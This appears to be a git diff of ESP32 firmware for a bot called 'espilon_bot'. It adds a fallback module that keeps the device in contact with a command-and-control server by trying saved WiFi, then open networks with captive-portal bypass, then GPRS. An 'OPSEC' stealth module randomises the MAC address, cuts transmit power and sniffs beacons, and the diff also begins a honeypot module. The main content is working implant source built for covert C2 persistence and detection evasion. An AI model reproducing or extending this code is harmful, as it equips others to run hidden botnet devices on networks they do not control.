c->rssi = records[i].rssi;
|
||||
c->channel = records[i].primary;
|
||||
c->authmode = records[i].authmode;
|
||||
s_candidate_count++;
|
||||
}
|
||||
|
||||
free(records);
|
||||
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 1: Try known networks (original WiFi + NVS)
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_known_networks(void)
|
||||
{
|
||||
set_state(FB_TRYING_KNOWN);
|
||||
|
||||
/* Try original WiFi config first (the one we were connected to) */
|
||||
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
|
||||
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
|
||||
(char *)s_orig_wifi_config.sta.ssid);
|
||||
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
|
||||
(char *)s_orig_wifi_config.sta.password,
|
||||
FB_WIFI_TIMEOUT_MS)) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
|
||||
}
|
||||
}
|
||||
|
||||
/* Then try NVS known networks */
|
||||
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
|
||||
int net_count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
|
||||
|
||||
if (net_count == 0) {
|
||||
ESP_LOGI(TAG, "No additional known networks in NVS");
|
||||
return false;
|
||||
}
|
||||
|
||||
for (int n = 0; n < net_count; n++) {
|
||||
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
|
||||
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(nets[n].ssid, nets[n].pass, FB_WIFI_TIMEOUT_MS)) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(nets[n].ssid, "known");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 2: Try open WiFi networks + captive portal bypass
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_open_networks(void)
|
||||
{
|
||||
set_state(FB_TRYING_OPEN);
|
||||
|
||||
for (int i = 0; i < s_candidate_count; i++) {
|
||||
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
|
||||
continue;
|
||||
if (s_candidates[i].ssid[0] == '\0')
|
||||
continue; /* hidden */
|
||||
|
||||
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
|
||||
s_candidates[i].ssid, s_candidates[i].rssi);
|
||||
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(s_candidates[i].ssid, "", FB_WIFI_TIMEOUT_MS)) {
|
||||
/* Check for captive portal */
|
||||
set_state(FB_PORTAL_CHECK);
|
||||
fb_portal_status_t portal = fb_captive_detect();
|
||||
|
||||
if (portal == FB_PORTAL_NONE) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open");
|
||||
return true;
|
||||
}
|
||||
} else if (portal == FB_PORTAL_DETECTED) {
|
||||
set_state(FB_PORTAL_BYPASS);
|
||||
if (fb_captive_bypass()) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open+portal");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
|
||||
s_candidates[i].ssid);
|
||||
} else {
|
||||
/* FB_PORTAL_UNKNOWN — try C2 directly anyway */
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Hunt task — main state machine
|
||||
* ============================================================ */
|
||||
|
||||
extern atomic_bool fb_active; /* defined in WiFi.c */
|
||||
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
extern void wifi_pause_reconnect(void);
|
||||
extern void wifi_resume_reconnect(void);
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* WiFi lazy init (for GPRS primary mode)
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
static bool s_wifi_inited = false;
|
||||
|
||||
static void ensure_wifi_init(void)
|
||||
{
|
||||
if (!s_wifi_inited) {
|
||||
ESP_LOGI(TAG, "Lazy WiFi init for GPRS fallback");
|
||||
extern void wifi_init(void);
|
||||
wifi_init();
|
||||
s_wifi_inited = true;
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 3: GPRS direct (WiFi primary mode only)
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_FB_GPRS_FALLBACK
|
||||
|
||||
static bool try_gprs_direct(void)
|
||||
{
|
||||
if (s_skip_gprs) {
|
||||
ESP_LOGI(TAG, "GPRS strategy skipped (came from GPRS)");
|
||||
return false;
|
||||
}
|
||||
|
||||
set_state(FB_GPRS_DIRECT);
|
||||
ESP_LOGI(TAG, "Trying GPRS direct connection");
|
||||
|
||||
setup_uart();
|
||||
setup_modem();
|
||||
|
||||
if (!connect_gprs() || !connect_tcp()) {
|
||||
close_tcp_connection();
|
||||
ESP_LOGW(TAG, "GPRS direct failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
mark_connected("GPRS", "gprs");
|
||||
|
||||
/* Mini RX loop via GPRS — stays here until hunt is stopped */
|
||||
while (s_active) {
|
||||
gprs_rx_poll();
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
}
|
||||
|
||||
close_tcp_connection();
|
||||
return false; /* Hunt was stopped externally */
|
||||
}
|
||||
|
||||
#endif /* CONFIG_FB_GPRS_FALLBACK */
|
||||
|
||||
static void hunt_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
ESP_LOGI(TAG, "Fallback hunt task started");
|
||||
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
/* In GPRS mode, WiFi may not be initialized yet */
|
||||
ensure_wifi_init();
|
||||
#endif
|
||||
|
||||
/* Save MAC before we randomize it */
|
||||
fb_stealth_save_original_mac();
|
||||
fb_config_save_orig_mac();
|
||||
|
||||
/* Save original WiFi config */
|
||||
if (!s_orig_config_saved) {
|
||||
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
|
||||
s_orig_config_saved = true;
|
||||
}
|
||||
|
||||
/* Take control of WiFi from normal reconnect logic */
|
||||
fb_active = true;
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
wifi_pause_reconnect();
|
||||
#endif
|
||||
|
||||
/* Register our event handler */
|
||||
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&fb_wifi_event_handler, NULL);
|
||||
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&fb_wifi_event_handler, NULL);
|
||||
|
||||
while (s_active) {
|
||||
|
||||
/* ---- STEALTH PREP ---- */
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
set_state(FB_STEALTH_PREP);
|
||||
fb_stealth_randomize_mac();
|
||||
fb_stealth_low_tx_power();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
#endif
|
||||
|
||||
/* ---- SCAN ---- */
|
||||
set_state(FB_PASSIVE_SCAN);
|
||||
do_wifi_scan();
|
||||
|
||||
/* ---- STRATEGY 1: Known networks ---- */
|
||||
if (s_active && try_known_networks()) break;
|
||||
|
||||
/* ---- STRATEGY 2: Open networks + captive portal ---- */
|
||||
if (s_active && try_open_networks()) break;
|
||||
|
||||
#ifdef CONFIG_FB_GPRS_FALLBACK
|
||||
/* ---- STRATEGY 3: GPRS direct (last resort) ---- */
|
||||
if (s_active && try_gprs_direct()) break;
|
||||
#endif
|
||||
|
||||
/* ---- All strategies failed — wait and rescan ---- */
|
||||
if (!s_active) break;
|
||||
|
||||
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
|
||||
FB_RESCAN_DELAY_S);
|
||||
set_state(FB_IDLE);
|
||||
|
||||
for (int i = 0; i < FB_RESCAN_DELAY_S && s_active; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- Cleanup ---- */
|
||||
|
||||
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&fb_wifi_event_handler);
|
||||
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&fb_wifi_event_handler);
|
||||
|
||||
if (s_state == FB_CONNECTED) {
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_restore_tx_power();
|
||||
#endif
|
||||
fb_active = false;
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
wifi_resume_reconnect();
|
||||
#endif
|
||||
ESP_LOGI(TAG, "Hunt complete — handing off to client task");
|
||||
} else {
|
||||
/* Restore original WiFi config */
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_restore_mac();
|
||||
fb_stealth_restore_tx_power();
|
||||
#endif
|
||||
if (s_orig_config_saved) {
|
||||
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
|
||||
}
|
||||
fb_active = false;
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
wifi_resume_reconnect();
|
||||
#endif
|
||||
esp_wifi_connect();
|
||||
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
|
||||
}
|
||||
|
||||
s_task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
const char *fb_hunt_state_name(fb_state_t state)
|
||||
{
|
||||
if (state <= FB_CONNECTED)
|
||||
return state_names[state];
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
fb_state_t fb_hunt_get_state(void)
|
||||
{
|
||||
state_lock();
|
||||
fb_state_t st = s_state;
|
||||
state_unlock();
|
||||
return st;
|
||||
}
|
||||
|
||||
bool fb_hunt_is_active(void)
|
||||
{
|
||||
return s_active;
|
||||
}
|
||||
|
||||
const char *fb_hunt_connected_ssid(void)
|
||||
{
|
||||
static char ssid_copy[33];
|
||||
state_lock();
|
||||
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
|
||||
state_unlock();
|
||||
return ssid_copy;
|
||||
}
|
||||
|
||||
const char *fb_hunt_connected_method(void)
|
||||
{
|
||||
static char method_copy[16];
|
||||
state_lock();
|
||||
memcpy(method_copy, s_connected_method, sizeof(method_copy));
|
||||
state_unlock();
|
||||
return method_copy;
|
||||
}
|
||||
|
||||
void fb_hunt_init(void)
|
||||
{
|
||||
if (!s_state_mutex) {
|
||||
s_state_mutex = xSemaphoreCreateMutex();
|
||||
}
|
||||
if (!s_evt_group) {
|
||||
s_evt_group = xEventGroupCreate();
|
||||
}
|
||||
ESP_LOGI(TAG, "Hunt init done");
|
||||
}
|
||||
|
||||
void fb_hunt_set_skip_gprs(bool skip)
|
||||
{
|
||||
s_skip_gprs = skip;
|
||||
}
|
||||
|
||||
void fb_hunt_trigger(void)
|
||||
{
|
||||
if (s_active) {
|
||||
ESP_LOGW(TAG, "Hunt already active");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Ensure init (safety net if called before register_commands) */
|
||||
fb_hunt_init();
|
||||
|
||||
s_skip_gprs = false; /* Reset per-hunt */
|
||||
s_active = true;
|
||||
|
||||
state_lock();
|
||||
s_state = FB_IDLE;
|
||||
s_connected_ssid[0] = '\0';
|
||||
s_connected_method[0] = '\0';
|
||||
state_unlock();
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
hunt_task,
|
||||
"fb_hunt",
|
||||
FB_HUNT_STACK,
|
||||
NULL,
|
||||
FB_HUNT_PRIO,
|
||||
&s_task_handle,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create hunt task");
|
||||
s_active = false;
|
||||
}
|
||||
}
|
||||
|
||||
void fb_hunt_stop(void)
|
||||
{
|
||||
if (!s_active) return;
|
||||
|
||||
s_active = false;
|
||||
|
||||
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
}
|
||||
|
||||
/* Only reset state if task actually exited */
|
||||
if (s_task_handle == NULL) {
|
||||
state_lock();
|
||||
s_state = FB_IDLE;
|
||||
s_connected_ssid[0] = '\0';
|
||||
s_connected_method[0] = '\0';
|
||||
state_unlock();
|
||||
} else {
|
||||
ESP_LOGW(TAG, "Hunt task did not exit in time");
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Hunt stopped");
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
65
espilon_bot/components/mod_fallback/fb_hunt.h
Normal file
65
espilon_bot/components/mod_fallback/fb_hunt.h
Normal file
@ -0,0 +1,65 @@
|
||||
/*
|
||||
* fb_hunt.h
|
||||
* Fallback hunt state machine — autonomous network recovery.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* Hunt states
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
FB_IDLE,
|
||||
FB_STEALTH_PREP,
|
||||
FB_PASSIVE_SCAN,
|
||||
FB_TRYING_KNOWN,
|
||||
FB_TRYING_OPEN,
|
||||
FB_PORTAL_CHECK,
|
||||
FB_PORTAL_BYPASS,
|
||||
FB_C2_VERIFY,
|
||||
FB_HANDSHAKE_CRACK,
|
||||
FB_GPRS_DIRECT,
|
||||
FB_CONNECTED,
|
||||
} fb_state_t;
|
||||
|
||||
/* ============================================================
|
||||
* API
|
||||
* ============================================================ */
|
||||
|
||||
/* Trigger the hunt (start the state machine task if not running).
|
||||
* Called automatically by WiFi.c on TCP failure. */
|
||||
void fb_hunt_trigger(void);
|
||||
|
||||
/* Stop the hunt, restore original WiFi + MAC + TX power. */
|
||||
void fb_hunt_stop(void);
|
||||
|
||||
/* Get current state. */
|
||||
fb_state_t fb_hunt_get_state(void);
|
||||
|
||||
/* Get state name as string. */
|
||||
const char *fb_hunt_state_name(fb_state_t state);
|
||||
|
||||
/* Is the hunt task currently running? */
|
||||
bool fb_hunt_is_active(void);
|
||||
|
||||
/* Get the SSID we connected to (empty if none). */
|
||||
const char *fb_hunt_connected_ssid(void);
|
||||
|
||||
/* Get the method used to connect (e.g. "known", "open", "handshake", "gprs"). */
|
||||
const char *fb_hunt_connected_method(void);
|
||||
|
||||
/* Init mutex and event group (call from register_commands). */
|
||||
void fb_hunt_init(void);
|
||||
|
||||
/* Skip GPRS strategy in hunt (set by gprs_client_task to avoid loop). */
|
||||
void fb_hunt_set_skip_gprs(bool skip);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
253
espilon_bot/components/mod_fallback/fb_stealth.c
Normal file
253
espilon_bot/components/mod_fallback/fb_stealth.c
Normal file
@ -0,0 +1,253 @@
|
||||
/*
|
||||
* fb_stealth.c
|
||||
* OPSEC: MAC randomization, TX power control, passive scan.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_stealth.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_random.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
static const char *TAG = "FB_STEALTH";
|
||||
|
||||
/* ============================================================
|
||||
* MAC randomization
|
||||
* ============================================================ */
|
||||
|
||||
static uint8_t s_orig_mac[6] = {0};
|
||||
static bool s_mac_saved = false;
|
||||
|
||||
void fb_stealth_save_original_mac(void)
|
||||
{
|
||||
if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) {
|
||||
s_mac_saved = true;
|
||||
ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
|
||||
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_randomize_mac(void)
|
||||
{
|
||||
uint8_t mac[6];
|
||||
esp_fill_random(mac, 6);
|
||||
mac[0] &= 0xFE; /* unicast */
|
||||
mac[0] |= 0x02; /* locally administered */
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
|
||||
esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac);
|
||||
if (err == ESP_OK) {
|
||||
ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
} else {
|
||||
ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_restore_mac(void)
|
||||
{
|
||||
if (s_mac_saved) {
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac);
|
||||
ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
|
||||
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_get_current_mac(uint8_t mac[6])
|
||||
{
|
||||
esp_wifi_get_mac(WIFI_IF_STA, mac);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* TX power control
|
||||
* ============================================================ */
|
||||
|
||||
void fb_stealth_low_tx_power(void)
|
||||
{
|
||||
esp_err_t err = esp_wifi_set_max_tx_power(32); /* 8 dBm */
|
||||
if (err == ESP_OK) {
|
||||
ESP_LOGI(TAG, "TX power reduced to 8 dBm");
|
||||
} else {
|
||||
ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_restore_tx_power(void)
|
||||
{
|
||||
esp_wifi_set_max_tx_power(80); /* 20 dBm */
|
||||
ESP_LOGI(TAG, "TX power restored to 20 dBm");
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Passive scan — promiscuous mode beacon capture
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
unsigned frame_ctrl:16;
|
||||
unsigned duration_id:16;
|
||||
uint8_t addr1[6];
|
||||
uint8_t addr2[6];
|
||||
uint8_t addr3[6];
|
||||
unsigned seq_ctrl:16;
|
||||
} __attribute__((packed)) wifi_mgmt_hdr_t;
|
||||
|
||||
#define BEACON_FIXED_LEN 12
|
||||
|
||||
static fb_scan_ap_t s_scan_results[FB_MAX_SCAN_APS];
|
||||
static volatile int s_scan_count = 0;
|
||||
|
||||
static int find_bssid(const uint8_t bssid[6])
|
||||
{
|
||||
for (int i = 0; i < s_scan_count; i++) {
|
||||
if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0)
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (type != WIFI_PKT_MGMT) return;
|
||||
|
||||
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
||||
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
|
||||
|
||||
uint16_t fc = hdr->frame_ctrl;
|
||||
uint8_t subtype = (fc >> 4) & 0x0F;
|
||||
if (subtype != 8 && subtype != 5) return; /* beacon or probe_resp */
|
||||
|
||||
const uint8_t *bssid = hdr->addr3;
|
||||
|
||||
int idx = find_bssid(bssid);
|
||||
if (idx >= 0) {
|
||||
if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) {
|
||||
s_scan_results[idx].rssi = pkt->rx_ctrl.rssi;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (s_scan_count >= FB_MAX_SCAN_APS) return;
|
||||
|
||||
size_t hdr_len = sizeof(wifi_mgmt_hdr_t);
|
||||
size_t body_offset = hdr_len + BEACON_FIXED_LEN;
|
||||
|
||||
if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2))
|
||||
return;
|
||||
|
||||
const uint8_t *body = pkt->payload + body_offset;
|
||||
size_t body_len = pkt->rx_ctrl.sig_len - body_offset;
|
||||
if (body_len > 4) body_len -= 4;
|
||||
|
||||
fb_scan_ap_t *ap = &s_scan_results[s_scan_count];
|
||||
memset(ap, 0, sizeof(*ap));
|
||||
memcpy(ap->bssid, bssid, 6);
|
||||
ap->rssi = pkt->rx_ctrl.rssi;
|
||||
ap->channel = pkt->rx_ctrl.channel;
|
||||
ap->auth_mode = 0;
|
||||
|
||||
size_t pos = 0;
|
||||
while (pos + 2 <= body_len) {
|
||||
uint8_t tag_id = body[pos];
|
||||
uint8_t tag_len = body[pos + 1];
|
||||
|
||||
if (pos + 2 + tag_len > body_len) break;
|
||||
|
||||
if (tag_id == 0) {
|
||||
size_t ssid_len = tag_len;
|
||||
if (ssid_len > 32) ssid_len = 32;
|
||||
memcpy(ap->ssid, body + pos + 2, ssid_len);
|
||||
ap->ssid[ssid_len] = '\0';
|
||||
} else if (tag_id == 48) {
|
||||
ap->auth_mode = 3;
|
||||
} else if (tag_id == 221) {
|
||||
if (tag_len >= 4 &&
|
||||
body[pos + 2] == 0x00 && body[pos + 3] == 0x50 &&
|
||||
body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) {
|
||||
if (ap->auth_mode == 0) ap->auth_mode = 2;
|
||||
}
|
||||
}
|
||||
|
||||
pos += 2 + tag_len;
|
||||
}
|
||||
|
||||
s_scan_count++;
|
||||
}
|
||||
|
||||
int fb_stealth_passive_scan(int duration_ms)
|
||||
{
|
||||
s_scan_count = 0;
|
||||
memset(s_scan_results, 0, sizeof(s_scan_results));
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
|
||||
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
ret = esp_wifi_set_promiscuous(true);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms);
|
||||
|
||||
int channels = 13;
|
||||
int hop_ms = 200;
|
||||
int elapsed = 0;
|
||||
|
||||
while (elapsed < duration_ms) {
|
||||
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
|
||||
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
|
||||
vTaskDelay(pdMS_TO_TICKS(hop_ms));
|
||||
elapsed += hop_ms;
|
||||
}
|
||||
}
|
||||
|
||||
esp_wifi_set_promiscuous(false);
|
||||
|
||||
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
|
||||
return s_scan_count;
|
||||
}
|
||||
|
||||
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count)
|
||||
{
|
||||
int count = s_scan_count;
|
||||
if (count > max_count) count = max_count;
|
||||
memcpy(out, s_scan_results, count * sizeof(fb_scan_ap_t));
|
||||
return count;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_FALLBACK — empty stubs */
|
||||
|
||||
#include <string.h>
|
||||
|
||||
void fb_stealth_save_original_mac(void) {}
|
||||
void fb_stealth_randomize_mac(void) {}
|
||||
void fb_stealth_restore_mac(void) {}
|
||||
void fb_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); }
|
||||
void fb_stealth_low_tx_power(void) {}
|
||||
void fb_stealth_restore_tx_power(void) {}
|
||||
int fb_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; }
|
||||
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; }
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
37
espilon_bot/components/mod_fallback/fb_stealth.h
Normal file
37
espilon_bot/components/mod_fallback/fb_stealth.h
Normal file
@ -0,0 +1,37 @@
|
||||
/*
|
||||
* fb_stealth.h
|
||||
* OPSEC: MAC randomization, TX power control, passive scanning.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
void fb_stealth_save_original_mac(void);
|
||||
void fb_stealth_randomize_mac(void);
|
||||
void fb_stealth_restore_mac(void);
|
||||
void fb_stealth_get_current_mac(uint8_t mac[6]);
|
||||
void fb_stealth_low_tx_power(void);
|
||||
void fb_stealth_restore_tx_power(void);
|
||||
|
||||
int fb_stealth_passive_scan(int duration_ms);
|
||||
|
||||
typedef struct {
|
||||
uint8_t bssid[6];
|
||||
char ssid[33];
|
||||
int8_t rssi;
|
||||
uint8_t channel;
|
||||
uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */
|
||||
} fb_scan_ap_t;
|
||||
|
||||
#define FB_MAX_SCAN_APS 32
|
||||
|
||||
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
6
espilon_bot/components/mod_honeypot/CMakeLists.txt
Normal file
6
espilon_bot/components/mod_honeypot/CMakeLists.txt
Normal file
@ -0,0 +1,6 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_honeypot.c hp_config.c hp_tcp_services.c hp_wifi_monitor.c hp_net_monitor.c
|
||||
services/svc_ssh.c services/svc_telnet.c services/svc_http.c services/svc_ftp.c
|
||||
INCLUDE_DIRS . services
|
||||
REQUIRES core nvs_flash lwip esp_wifi freertos
|
||||
)
|
||||
308
espilon_bot/components/mod_honeypot/cmd_honeypot.c
Normal file
308
espilon_bot/components/mod_honeypot/cmd_honeypot.c
Normal file
@ -0,0 +1,308 @@
|
||||
/*
|
||||
* cmd_honeypot.c
|
||||
* Honeypot command registration and dispatch.
|
||||
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
|
||||
*
|
||||
* Commands (8 total, fits within 32-command budget):
|
||||
* hp_svc <service> <start|stop|status>
|
||||
* hp_wifi <start|stop|status>
|
||||
* hp_net <start|stop|status>
|
||||
* hp_config_set <type> <key> <value>
|
||||
* hp_config_get <type> <key>
|
||||
* hp_config_list [type]
|
||||
* hp_config_reset
|
||||
* hp_status
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include "hp_config.h"
|
||||
#include "hp_tcp_services.h"
|
||||
#include "hp_wifi_monitor.h"
|
||||
#include "hp_net_monitor.h"
|
||||
|
||||
#define TAG "HONEYPOT"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_svc <service> <start|stop|status>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_svc(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *svc_name = argv[0];
|
||||
const char *action = argv[1];
|
||||
|
||||
int id = hp_svc_name_to_id(svc_name);
|
||||
if (id < 0) {
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "error=unknown_service service=%s", svc_name);
|
||||
msg_error(TAG, buf, req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
if (strcmp(action, "start") == 0) {
|
||||
hp_svc_start((hp_svc_id_t)id);
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "service=%s action=started", svc_name);
|
||||
msg_info(TAG, buf, req);
|
||||
} else if (strcmp(action, "stop") == 0) {
|
||||
hp_svc_stop((hp_svc_id_t)id);
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "service=%s action=stopped", svc_name);
|
||||
msg_info(TAG, buf, req);
|
||||
} else if (strcmp(action, "status") == 0) {
|
||||
char buf[256];
|
||||
hp_svc_status((hp_svc_id_t)id, buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
|
